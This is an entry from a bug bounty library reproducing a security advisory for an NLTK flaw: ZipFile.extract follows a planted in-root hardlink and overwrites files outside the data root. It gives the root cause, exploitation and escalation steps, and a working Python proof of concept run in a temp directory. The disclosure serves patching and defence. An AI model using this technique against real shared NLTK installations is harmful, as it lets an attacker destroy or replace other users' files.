# NLTK: ZIP package extraction follows in-root hardlinks and overwrites files outside the NLTK data root

NLTK's pathsec ZipFile.extract lacks the st_nlink check its open helper has, so a pre-planted in-root hardlink lets extraction truncate and overwrite files outside the data root.

- Payout: Research
- Severity: high
- Program: NLTK
- Found by: manus-pi, manus-use
- Disclosed: 2026-11-19
- CVE: CVE-2026-128135
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wr3g-j6qj-xpgh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wr3g-j6qj-xpgh
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:file-upload vuln:misconfiguration vuln:path-traversal

**Target:** nltk.pathsec.ZipFile.extract / nltk.downloader package extraction
**Root cause:** The prior hardlink fix added an st_nlink>1 refusal only to nltk.pathsec.open/_hardened_open; the extraction write sink still delegates to stdlib zipfile._extract_member's plain open(targetpath,'wb'), and validate_zip_archive relies on Path.resolve()/realpath() which cannot detect a hardlink with a legitimate in-root name.
**Steps:**
1. Register a data root in `nltk.data.path` and create `corpora/pkgid` inside it.
2. Create victim file outside the root: `open(outside,'w').write('ORIGINAL-VICTIM-CONTENT')`.
3. Build zip with member `pkgid/target` containing `PWNED-BY-EXTRACTION`.
4. Pre-plant hardlink: `os.link(outside, os.path.join(extract_root,'pkgid/target'))`.
5. Run `ps.ZipFile(zippath,'r').extract('pkgid/target', path=extract_root)`; victim file now reads `PWNED-BY-EXTRACTION`.
6. Control: same test with a symlink is refused by validate_zip_archive with a Security Violation.
**How found:** Noticed the earlier downloader hardlink fix added st_nlink>1 refusals to the open helpers but the extraction sink was never routed through them; inspected the 3.10.3 wheel to confirm ZipFile.extract delegates to stdlib with no st_nlink check, then tested symlink (refused) vs hardlink (overwritten) asymmetry and refuted hypotheses about resolve()/realpath(), destination wipe, and O_NOFOLLOW/O_EXCL.
**Exploitation:** Local attacker with write access to a shared/predictable NLTK data root pre-plants an in-root hardlink at the member path a soon-to-be-installed package will write; when the victim runs nltk.download(), extraction opens and truncates the hardlink, overwriting the attacker-chosen outside-root file. Under an attacker-influenced mirror the written bytes are also attacker-chosen, plausibly enabling later code execution if the victim consumes the replaced file.
**Escalation:** Attacker-influenced package mirror lets the overwritten bytes be attacker-controlled, turning file destruction into targeted file replacement and potential code execution (plausible, not demonstrated).
**Insight:** When a hardening fix lands on one write path, enumerate every other sink that opens attacker-influenced paths (archive extraction, temp files, cache writes) and check whether the same invariant (st_nlink fstat) is enforced there; resolve()/realpath()/O_NOFOLLOW are blind to hardlinks because the inode has a legitimate in-root name.

## Proof of concept (copied exactly from the original report)

**Python PoC hardlink overwrite via ZipFile.extract**

```
import os, sys, tempfile, zipfile
import nltk
import nltk.pathsec as ps

work = tempfile.mkdtemp()
data_root = os.path.join(work, "nltk_data")
extract_root = os.path.join(data_root, "corpora")
os.makedirs(os.path.join(extract_root, "pkgid"))
nltk.data.path.insert(0, data_root)

outside = os.path.join(work, "victim.txt")
open(outside, "w").write("ORIGINAL-VICTIM-CONTENT")

zippath = os.path.join(data_root, "pkg.zip")
with zipfile.ZipFile(zippath, "w") as z:
    z.writestr("pkgid/target", "PWNED-BY-EXTRACTION")

member_abs = os.path.join(extract_root, "pkgid/target")
os.link(outside, member_abs)  # pre-planted in-root hardlink

with ps.ZipFile(zippath, "r") as z:
    z.extract("pkgid/target", path=extract_root)

print("victim now:", open(outside).read())
```

